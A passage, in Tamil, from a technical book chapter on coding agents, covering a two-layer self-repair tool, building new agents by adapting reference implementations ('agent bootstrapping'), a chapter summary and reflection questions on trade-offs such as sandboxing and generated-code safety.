• சேவை ஆரோக்கிய சிக்கல்கள்: கேட்வே இயங்கவில்லை, காணாமல் போன சாண்ட்பாக்ஸ் இமேஜ்கள்

பின்னர், இது ஒரு அடுக்கு சரிசெய்தல் உத்தி மூலம் அவற்றைத் தானாகத் தீர்க்கிறது: பாதுகாப்பான திருத்தங்கள் (கட்டமைப்பு இயல்பாக்கம், பூட்டு கோப்பு சுத்தம்) தானாகவே செயல்படுத்தப்படுகின்றன; ஆபத்தான செயல்பாடுகள் (சேவை மறுதொடக்கம், கட்டாய கட்டமைப்பு மேலெழுதுதல்) பயனர் உறுதிப்படுத்தல் தேவைப்படுகிறது.

இதை மிகைப்படுத்திக் கூறுவதைத் தவிர்க்க வேண்டும்: காலாவதியான டோக்கன்கள், பூட்டு கோப்புகள் மற்றும் போர்ட் முரண்பாடுகள் போன்ற அதிக அதிர்வெண் கொண்ட சிக்கல்களுக்கு தெளிவான கண்டறிதல் விதிகள் மற்றும் நிலையான சரிசெய்தல் நடவடிக்கைகள் உள்ளன. doctor முதலில் இவற்றை ஒரு தொகுப்பு உறுதியான (deterministic) சோதனைகள் மூலம் கையாள்கிறது—இது அடிப்படையில் பாரம்பரிய செயல்பாட்டு ஸ்கிரிப்ட்களிலிருந்து வேறுபட்டதல்ல. ஏஜெண்ட் திறனின் உண்மையான வெளிப்பாடு இரண்டாவது அடுக்கில் உள்ளது: உறுதியான விதிகளால் மறைக்கப்படாத கடினமான பிரச்சினைகளுக்கு, doctor அவற்றை ஒரு LLM க்கு ஒப்படைத்து, பிழை பதிவுகளை பகுப்பாய்வு செய்யவும், கட்டமைப்பு கோப்புகளின் சொற்பொருளைப் புரிந்துகொள்ளவும், காரண உறவுகளை ஊகிக்கவும், இலக்கு சரிசெய்தல் திட்டங்களை உருவாக்கவும் செய்கிறது. உறுதியான சோதனைகள் பொதுவான பிரச்சினைகளுக்கு நிலையான திருத்தங்களை உறுதி செய்கின்றன, அதே நேரத்தில் LLM கடினமான பிரச்சினைகளின் நீண்ட வாலைக் கையாள்கிறது—இந்த இரண்டு அடுக்குகளும் ஒன்றாக வேலை செய்வதால், doctor --fix பொதுவான கேட்வே பிரச்சினைகளில் கணிசமான பகுதியை தானாகவே தீர்க்க முடியும். இந்த "ஏஜெண்ட் ஏஜெண்டை சரிசெய்கிறது" மாதிரியானது, ஏஜெண்டின் இலக்கு வெளிப்புற அமைப்பாக இல்லாமல் அதன் சொந்த இயக்க சூழலாக இருக்கும்போது, சுய-சரிசெய்தலை ஒரு அமைப்பு அடாப்டரிலிருந்து ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங்கிற்கான உள்கட்டமைப்பாக மேம்படுத்துகிறது.

ஒரு ஏஜெண்டை மற்றொரு ஏஜெண்டை எழுத வைப்பதற்கான முக்கிய நுட்பங்கள்.

உயர்தரமான Agent ஒன்றை உருவாக்குவது, சாதாரண பயன்பாட்டுக் குறியீட்டை (application code) உருவாக்குவதை விட மிகவும் சிக்கலானது. ஏனெனில், இதற்கு Agent கட்டமைப்பு முறைகள் (architecture patterns), சிறந்த நடைமுறைகள் (best practices), மற்றும் பொதுவான குறைபாடுகள் (common pitfalls) பற்றிய ஆழமான புரிதல் தேவைப்படுகிறது. இந்தத் துறை சார்ந்த நிபுணத்துவம் இல்லாமல், மிகவும் சக்திவாய்ந்த குறியீடு உருவாக்க மாதிரிகள் (code generation models) கூட கடுமையான கட்டமைப்பு குறைபாடுகளைக் கொண்ட Agents-ஐ உருவாக்க முடியும். பொதுவான குறைபாடுகள் பின்வருமாறு:

1. சாதாரண சூழல் மேலாண்மை (Casual context management): அத்தியாயம் 2-ல் விவாதிக்கப்பட்ட நிலையான சூழல் வடிவமைப்பை (standard context format) பயன்படுத்தத் தவறுதல், பாதைகளை (trajectories) சாதாரண உரையாக (plain text) சூழலில் (context) நிரப்புதல், கட்டமைக்கப்பட்ட செய்திகளிலிருந்து (structured messages) KV Cache உகப்பாக்கங்களை (optimizations) புறக்கணித்தல், மற்றும் கருவி அழைப்பு சுழல்களில் (tool call loops) எல்லை பிழைகள் (boundary bugs) ஏற்படுதல்
2. தரமற்ற கருவி வடிவமைப்பு (Non-standard tool design): தெளிவற்ற விளக்கங்கள், பயன்பாட்டு எல்லை வழிமுறைகள் (usage boundary instructions) மற்றும் எதிர்மறை பட்டியல்கள் (negative lists) இல்லாமை, மற்றும் உறுதியான எடுத்துக்காட்டுகள் (concrete examples) இல்லாத அளவுருக்கள்
3. காலாவதியான தொழில்நுட்பத் தேர்வுகள் (Outdated technology choices): பயிற்சித் தரவுகளில் (training data) இருந்து மிகவும் பொதுவான ஆனால் காலாவதியான மாதிரிகள் (models) மற்றும் API-களைப் பயன்படுத்தும் போக்கு. தீர்வு: ஒரு SOTA அறிவுத் தளத்தை (knowledge base) பராமரிக்கவும் அல்லது Agent-க்கு தேடல் திறன்களை (search capabilities) வழங்கவும்
4. வெளிப்புற சூழலில் இருந்து துண்டிப்பு (Disconnection from the external ecosystem): நீக்கப்பட்ட (deprecated) API-கள், பராமரிக்கப்படாத (unmaintained) நூலகங்கள் (libraries), அல்லது குறைபாடுள்ள முறைகளைப் (flawed patterns) பயன்படுத்துதல்

இந்தப் பிரச்சினைகளைத் தீர்ப்பதற்கான மிகச் சிறந்த வழி, அனைத்து விதிகளையும் ப்ராம்ப்டில் விரிவாகப் பட்டியலிடுவது அல்ல, மாறாக உயர்தரமான Agent செயலாக்கங்களை (implementations) குறிப்பு எடுத்துக்காட்டுகளாக (reference examples) வழங்குவதாகும். இது, குறியீடு உருவாக்கும் Agent-ஐ (code generation Agent) புதிதாகத் தொடங்குவதற்குப் பதிலாக, அவற்றை மாற்றியமைக்க வழிகாட்டுகிறது.

"எடுத்துக்காட்டு அடிப்படையிலான உருவாக்கம்" (Example-based generation) தெளிவான நன்மைகளைக் கொண்டுள்ளது: எடுத்துக்காட்டு குறியீடே சிறந்த நடைமுறைகளின் (best practices) களஞ்சியமாகும் (carrier). ஒரு எடுத்துக்காட்டை மாற்றியமைக்கும் Agent, புதிதாகத் தொடங்குவதை விட சரியாகச் செயல்பட வாய்ப்புகள் அதிகம். நல்ல கட்டமைப்புத் தேர்வுகள் (architectural choices) இயற்கையாகவே பாதுகாக்கப்படுகின்றன, மேலும் ஒவ்வொரு விதியையும் ப்ராம்ப்டில் குறிப்பிட வேண்டிய அவசியமில்லை.

ஒரு Agent, புதிய Agent ஒன்றை உருவாக்கும் பணியைப் பெறும்போது, அது முதலில் தனது சொந்த குறியீட்டை (அல்லது பிற சரிபார்க்கப்பட்ட, உயர்தரமான செயலாக்கங்களை) நகலெடுத்து, பின்னர் இலக்கு மாற்றங்களைச் (targeted modifications) செய்ய வேண்டும்: புதிய பாத்திரத்திற்கு (role) ஏற்ப சிஸ்டம் ப்ராம்ப்டை சரிசெய்தல், புதிய செயல்பாடுகளுக்கு ஏற்ப கருவிகளை மாற்றுதல் அல்லது சேர்த்தல், கட்டமைப்பு சட்டகத்தைப் (architectural framework) பாதுகாத்து வணிக தர்க்கத்தை (business logic) மாற்றியமைத்தல். இந்த "தகவமைப்பு மாற்றத்துடன் கூடிய சுய-நகலாக்க முறை" (self-replication with adaptive modification), புதிய Agent முக்கிய தொழில்நுட்ப நன்மைகளைப் பெறுவதை உறுதி செய்கிறது, அதே நேரத்தில் குறிப்பிட்ட பரிமாணங்களில் வேறுபட அனுமதிக்கிறது—உயிரியலில் பிறழ்வுடன் கூடிய மரபணு நகலாக்கம் (gene replication with mutation) போன்றது.

சோதனை 5-12 ★★★: Agents-ஐ உருவாக்கக்கூடிய ஒரு Agent-ஐ உருவாக்குதல்

சோதனை இலக்கு: மெட்டாப்ரோகிராமிங் (metaprogramming—மற்ற நிரல்களை உருவாக்கும் அல்லது மாற்றும் நிரல்களை எழுதும் திறன்) திறன்களைக் கொண்ட ஒரு Coding Agent-ஐ உருவாக்குதல். இது, பயனர் தேவைகளின் அடிப்படையில் புதிய Agent அமைப்புகளைத் தானாகவே உருவாக்கவும், சிறந்த நடைமுறைகளைப் (best practices) பின்பற்றுவதை உறுதி செய்யவும் உதவும்.

தொழில்நுட்ப அணுகுமுறை: Coding Agent-க்கு உயர்தரமான Agent செயலாக்கங்களை (implementations) குறிப்பு எடுத்துக்காட்டுகளாக (reference examples) வழங்குதல் (ch5/coding-agent திட்டத்தையே பயன்படுத்தலாம்). ஒரு புதிய Agent-ஐ உருவாக்கும் பணி வழங்கப்படும்போது, Agent முதலில் இந்த எடுத்துக்காட்டு குறியீட்டை நகலெடுத்து, பின்னர் பயனரின் குறிப்பிட்ட தேவைகளின் அடிப்படையில் இலக்கு மாற்றங்களைச் (targeted modifications) செய்கிறது.

ஏற்றுக்கொள்ளும் அளவுகோல்கள்: உருவாக்கப்பட்ட ஏஜெண்ட் வெற்றிகரமாக இயங்கி, அடிப்படைப் பணிகளை முடிக்க முடியும். நிலையான செய்தி வடிவங்கள் மற்றும் கருவி அழைப்பு நெறிமுறைகளின் பயன்பாடு, மேலும் தற்போது பரிந்துரைக்கப்படும் மாதிரிகள் மற்றும் APIகளின் பயன்பாடு ஆகியவற்றைச் சரிபார்க்கவும். பல உரையாடல் முறைகளில் சூழல் மற்றும் நிலை மேலாண்மையின் சரியான தன்மையைச் சோதிக்கவும். "ஆரம்பத்திலிருந்து உருவாக்குதல்" மற்றும் "எடுத்துக்காட்டுகளின் அடிப்படையில் மாற்றியமைத்தல்" ஆகிய முறைகளை ஒப்பிட்டு, பிந்தையதன் தரம் மற்றும் செயல்திறனில் உள்ள நன்மைகளைச் சரிபார்க்கவும்.

ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங் என்பது குறியீடு உருவாக்கும் திறன்களின் இறுதிப் பயன்பாட்டைக் குறிக்கிறது—ஏஜெண்ட்களை உருவாக்கக்கூடிய ஒரு ஏஜெண்ட், நுண்ணறிவின் சுய-நகலாக்கத்தை அடைகிறது. இத்துடன், இந்த அத்தியாயத்தின் முழு வளைவையும் நாம் கடந்து வந்துள்ளோம்: குறியீட்டு ஏஜெண்ட்டின் அடித்தளங்களிலிருந்து, குறியீடு உருவாக்கத்தின் பல்வேறு பயன்பாடுகள் வழியாக, இறுதியில் பூட்ஸ்ட்ராப்பிங் வரை.

அத்தியாயச் சுருக்கம்

இந்த அத்தியாயம் முழுவதும் ஒரே ஒரு கருத்தையே வாதிட்டு வந்துள்ளது: குறியீடு என்பது நிரல்களை எழுதுவதற்கான ஒரு கருவி மட்டுமல்ல — அது ஒரு ஏஜெண்ட்டின் முறைப்படுத்தப்பட்ட சிந்தனைக்கும் துல்லியமான வெளிப்பாட்டிற்குமான மொழியாகும்.

Harness பொறியியல் பிரிவிலிருந்து வரும் முக்கிய முடிவு என்னவென்றால், குறியீட்டு ஏஜெண்ட்களின் உயர் முதிர்ச்சிக்குக் காரணம் குறியீடு உருவாக்க மாதிரிகள் விதிவிலக்காக சக்தி வாய்ந்தவை என்பதல்ல, மாறாக பல தசாப்தங்களின் மென்பொருள் பொறியியல் உள்கட்டமைப்பு—சோதனைத் தொகுப்புகள், வகை அமைப்புகள், பதிப்புக் கட்டுப்பாடு—இயற்கையாகவே ஒரு சக்திவாய்ந்த Harness ஐ உருவாக்குகிறது என்பதே. இந்த முடிவை மற்ற ஏஜெண்ட் காட்சிகளுக்கும் நீட்டிப்பது மதிப்புக்குரியது. தோல்வி மற்றும் பிழை மீட்பு பகுதி அதே கருப்பொருளின் மறுபக்கத்தை வழங்குகிறது: ஒரு ஏஜெண்ட்டின் நம்பகத்தன்மை மாதிரி தவறு செய்கிறதா என்பதால் அல்ல, ஒவ்வொரு வகை தோல்விக்கும் தொடர்புடைய கண்டறிதல், மீட்பு மற்றும் முடித்தல் பாதை உள்ளதா என்பதால் தீர்மானிக்கப்படுகிறது.

இரண்டாம் பகுதி, நிரலாக்கத்திற்கு அப்பால் குறியீடு உருவாக்கத்தின் பரந்த மதிப்பை நிரூபித்தது, முக்கிய உரையில் உள்ள ஆறு பரிமாணங்களுடன் ஒத்துப்போகிறது:

• சிந்தனைக் கருவி: நிகழ்தகவு சிந்தனையின் குறைபாடுகளை ஈடுசெய்ய குறியீட்டு கணக்கீடு மற்றும் தடை தீர்வைப் பயன்படுத்துதல்
• வணிக விதி கட்டுப்பாடுகள்: வணிக விதிகளை இருபொருள்படாமல் துல்லியமாக வெளிப்படுத்துதல், மீளமுடியாத செயல்பாட்டு சூழ்நிலைகளில் ஒரு உறுதியான பாதுகாப்புக் கோட்டை வழங்குதல்—இந்த பாதுகாப்பு உத்தரவாதத்தின் மதிப்பு, செயல்படுத்தும் செலவை விட மிக அதிகம்
• மல்டிமீடியா உருவாக்கம்: முன்மொழிபவர்-மதிப்பாய்வாளர் பொறிமுறை மூலம் PPTகள் மற்றும் வீடியோக்கள் போன்ற மல்டிமீடியா உள்ளடக்கத்தை உருவாக்குதல்
• அமைப்பு இணைப்பி: பதிவு பாகுபடுத்தல் மற்றும் சிக்கல் கண்டறிதலின் முழு தன்னியக்கத்தை அடைய, வடிவ பரிணாமத்தை தானாகப் பின்பற்றுதல்
• ஜெனரேட்டிவ் UI: படிவங்கள், காட்சிப்படுத்தல்கள் மற்றும் முழுமையான தனிப்பயனாக்கக்கூடிய பயன்பாடுகளை கூட மாறும் வகையில் உருவாக்குதல், எளிய உரை வரம்புகளிலிருந்து விடுபடுதல்
• ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங்: ஒத்த ஏஜெண்ட்களை சரிசெய்ய மற்றும் உருவாக்க குறியீட்டைப் பயன்படுத்துதல், ஏஜெண்ட்களை உருவாக்கக்கூடிய ஒரு ஏஜெண்ட்டை உணர்தல்

ஒரு ஏஜெண்ட்டுக்கான குறியீட்டின் மதிப்பு இதுதான்: இது பணிகளை முடிப்பதற்கான ஒரு வழிமுறையாகவும், அறிவைக் குவிப்பதற்கும், கருவிகளை உருவாக்குவதற்கும், தன்னைத்தானே மேம்படுத்துவதற்குமான ஒரு பொறிமுறையாகவும் உள்ளது—ஒரு உண்மையான "மெட்டா-திறன்".

இந்த கட்டத்தில், மூன்று தூண்களில் இரண்டின் விவாதத்தை நிறைவு செய்துள்ளோம்: சூழல் மற்றும் கருவிகள்—மேலும் குறியீடு உருவாக்கம் அவற்றில் மிகவும் பல்துறை கருவியாகும். இருப்பினும், ஒரு முக்கிய கேள்வி பதிலளிக்கப்படாமல் உள்ளது: இந்த வடிவமைப்பு முடிவுகளின் செயல்திறனை நாம் எவ்வாறு அறிவியல் ரீதியாக அளவிடுவது? அடுத்த அத்தியாயத்திலிருந்து தொடங்கி, நாம் மூன்றாவது தூணுக்குள் நுழைகிறோம்—மாதிரி—மதிப்பீட்டில் இருந்து தொடங்கி. அடுத்த அத்தியாயம் ஒரு முழுமையான மதிப்பீட்டு முறையியலை உருவாக்கும்—மதிப்பீட்டு சூழலை அமைப்பது மற்றும் தரவுத்தொகுப்புகளை வடிவமைப்பது முதல் வெகுமதி மாதிரிகள் மற்றும் மதிப்பீடு சார்ந்த மாதிரி தேர்வு வரை—முந்தைய அனைத்து அத்தியாயங்களிலும் விவாதிக்கப்பட்ட தொழில்நுட்ப தீர்வுகளுக்கான அளவு சரிபார்ப்புக்கான ஒரு வழியை வழங்குகிறது.

சிந்தனை கேள்விகள்

1. ★★ குறியீடு உருவாக்கம் ஒரு ஏஜெண்டின் "மெட்டா-திறன்" என்று அழைக்கப்படுகிறது. இருப்பினும், குறியீடு செயல்படுத்தல் பாதுகாப்பு அபாயங்களை அறிமுகப்படுத்துகிறது—ஏஜெண்டால் உருவாக்கப்பட்ட குறியீட்டில் பாதிப்புகள், முடிவிலா சுழல்கள் அல்லது வள சோர்வு இருக்கலாம். சாண்ட்பாக்ஸ் தனிமைப்படுத்தல் சில சிக்கல்களைத் தீர்க்க முடியும், ஆனால் குறியீட்டு திறன்களையும் கட்டுப்படுத்துகிறது (எ.கா., நெட்வொர்க் அல்லது கோப்பு முறைமையை அணுக இயலாமை). பாதுகாப்பிற்கும் திறனுக்கும் இடையே உகந்த சமநிலையை நாம் எவ்வாறு கண்டறிய முடியும்?
2. ★★★ ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங்—ஏஜெண்டுகளை உருவாக்கக்கூடிய ஒரு ஏஜெண்ட்—"நுண்ணறிவின் சுய-நகலாக்கத்தை" அடைகிறது. இருப்பினும், ஒவ்வொரு பூட்ஸ்ட்ராப்பிங் மறுமுறையும் புதிய சார்புகள் அல்லது பிழைகளை அறிமுகப்படுத்தலாம். இந்த பிழைகள் தலைமுறைகள் முழுவதும் குவிந்துவிடுமா? ஏஜெண்ட் பூட்ஸ்ட்ராப்பிங்கின் சிதைவை எவ்வாறு தடுப்பது?
3. ★★ ஒரு குறியீடு உருவாக்க ஏஜெண்ட் பதிவு பாகுபடுத்தலைக் கையாளும் போது, அது தானாகவே வடிவ பரிணாமத்தைப் பின்பற்ற முடியும். ஆனால் ஒரு வடிவ மாற்றம் நோக்கம் கொண்ட மாற்றத்தை விட ஒரு பிழையாக இருந்தால், ஏஜெண்டின் தகவமைப்புத் திறன் உண்மையில் சிக்கலை மறைக்கிறது. "தகவமைப்பு தேவைப்படும் மாற்றங்களுக்கும்" "அறிக்கை தேவைப்படும் முரண்பாடுகளுக்கும்" இடையே ஒரு ஏஜெண்ட் எவ்வாறு வேறுபடுத்த வேண்டும்?
4. ★★ இந்த அத்தியாயம் PPT உருவாக்கம், வீடியோ எடிட்டிங் மற்றும் பதிவு காட்சிப்படுத்தலில் முன்மொழிபவர்-மதிப்பாய்வாளர் பொறிமுறையை மீண்டும் மீண்டும் பயன்படுத்துகிறது. மதிப்பாய்வாளரின் அழகியல் விருப்பங்கள் இலக்கு பயனரிடமிருந்து வேறுபட்டால்—எடுத்துக்காட்டாக, மதிப்பாய்வாளர் தகவல் அடர்த்தியை நியாயமானதாகக் கருதினால், ஆனால் பயனர் அதை மிகவும் நெரிசலானதாகக் கண்டால்—பின்னூட்ட வளையம் தவறான உள்ளூர் உகந்த நிலையில் ஒன்றிணையலாம். பயனர் விருப்ப பின்னூட்டத்தை மதிப்பாய்வாளர் வளையத்தில் எவ்வாறு இணைக்க முடியும்?
5. ★★ இந்த அத்தியாயம் ஒரு குறியீட்டு ஏஜெண்ட் செயல்படுத்தல் மற்றும் பிழைத்திருத்தத்திலிருந்து பெற்ற அனுபவத்தை குறியீட்டுத் தளத்தில் மீண்டும் டெபாசிட் செய்யும் பல்வேறு வழிகளை நிரூபிக்கிறது—அறிவுத் தள கோப்புகளில் எழுதுதல், கட்டமைப்பு ஆவணங்களைப் புதுப்பித்தல், திட்ட அறிவுறுத்தல் கோப்புகளைப் பராமரித்தல் மற்றும் செயல்பாட்டு வரிசைகளை குறியீடாக உறுதிப்படுத்துதல். இந்த அனுபவம் மேலும் சிஸ்டம் ப்ராம்ப்டில் உள்ள விதிகளாக சுத்திகரிக்கப்பட்டால், விதி தொகுப்பு காலப்போக்கில் விரிவடையும். குவிந்த விதிகளில் "குப்பை சேகரிப்பை" எவ்வாறு செய்வது—தேவையற்ற அல்லது காலாவதியான உள்ளீடுகளை அடையாளம் கண்டு சுத்தம் செய்வது? ஒரு ஏஜெண்ட் தனது சொந்த அனுபவத்தைக் குவிக்கும் இந்த பொறிமுறைக்கும் அத்தியாயம் 8 இல் விவாதிக்கப்படும் சிஸ்டம் ப்ராம்ப்ட்களின் தானியங்கி உகப்பாக்கத்திற்கும் இடையே உள்ள ஒற்றுமைகள் மற்றும் வேறுபாடுகள் யாவை?
6. ★ "தொலைதூர வேலைக்கு நட்பான குழுக்கள், பெரும்பாலும் AI ஏஜெண்டுகளுக்கும் நட்பானவை." உங்கள் குழு அல்லது நிறுவனம், அறிவு ஆவணப்படுத்தலின் அடிப்படையில் "AI-தயார்" நிலையை எந்த அளவிற்கு நெருங்கியுள்ளது? மிகப்பெரிய தடை என்ன?
7. ★★★ சைமன் வில்லிசன், ஏஜெண்டுகளுக்கான "மரண முக்கோணத்தை" (Lethal Triad) முன்மொழிந்தார் (தனிப்பட்ட தரவுகளுக்கான அணுகல், நம்பத்தகாத உள்ளடக்கத்திற்கான வெளிப்பாடு, மற்றும் வெளிப்புற தொடர்பு திறன்கள்). இந்த அத்தியாயம் நான்காவது ஒன்றைச் சேர்க்கிறது: நிலையான நினைவகம். நான்கு கூறுகளையும் ஒரே நேரத்தில் கையாள வேண்டிய உற்பத்தி சூழலில், பாதுகாப்பு உத்தியை எவ்வாறு வடிவமைப்பீர்கள்?
8. ★★ ஆர்ட்டிஃபாக்ட் முறைமை, ஒரு ஏஜெண்டால் உருவாக்கப்பட்ட SQL அல்லது முன்பக்க குறியீட்டை, பயனரின் உலாவி அல்லது தரவுத்தளத்தில் நேரடியாக இயக்க அனுமதிக்கிறது. இருப்பினும், உருவாக்கப்பட்ட SQL அழிவுகரமான செயல்பாடுகளை இயக்கக்கூடும், மேலும் உருவாக்கப்பட்ட HTML பாதிப்புகளைக் கொண்டிருக்கலாம். கணினி பாதுகாப்பை எவ்வாறு உறுதி செய்ய முடியும்?
9. ★★ வணிக விதிகளை, கருவிகளுக்குள் தரவுத்தள-உண்மை அடிப்படையிலான சரிபார்ப்புகளாக குறியாக்கம் செய்வதும், அழைப்பதற்கு முன் கொள்கை நிபந்தனைகளைச் சரிபார்க்க மாதிரியை வழிநடத்த அளவுரு வடிவமைப்பைப் பயன்படுத்துவதும், அடிப்படையில் ஏஜெண்டின் நடத்தையை கட்டுப்படுத்த குறியீடு கட்டமைப்பைப் பயன்படுத்துகிறது. இயற்கை மொழி விதிகளுடன் ஒப்பிடும்போது, இந்த "குறியீடு விதிகளாக" முறைமையின் நன்மைகள் மற்றும் வரம்புகள் யாவை?
10. ★★ ஆர்ட்டிஃபாக்ட் முறைமை, ஒரு ஏஜெண்டை SQL அல்லது விஷுவலைசேஷன் குறியீட்டை உருவாக்க அனுமதிக்கிறது, பின்னர் அது முன்பக்கத்தால் நேரடியாக இயக்கப்பட்டு, அதிக அளவிலான தரவை செயலாக்குவதற்கு LLM ஐத் தவிர்க்கிறது. பாரம்பரிய "ஏஜெண்ட் நேரடியாக பதிலை வழங்குகிறது" முறைமையுடன் ஒப்பிடும்போது, இந்த "ஏஜெண்ட் குறியீட்டை உருவாக்குகிறது, கணினி குறியீட்டை இயக்குகிறது" என்ற பணிப்பிரிவின் நன்மை தீமைகள் யாவை?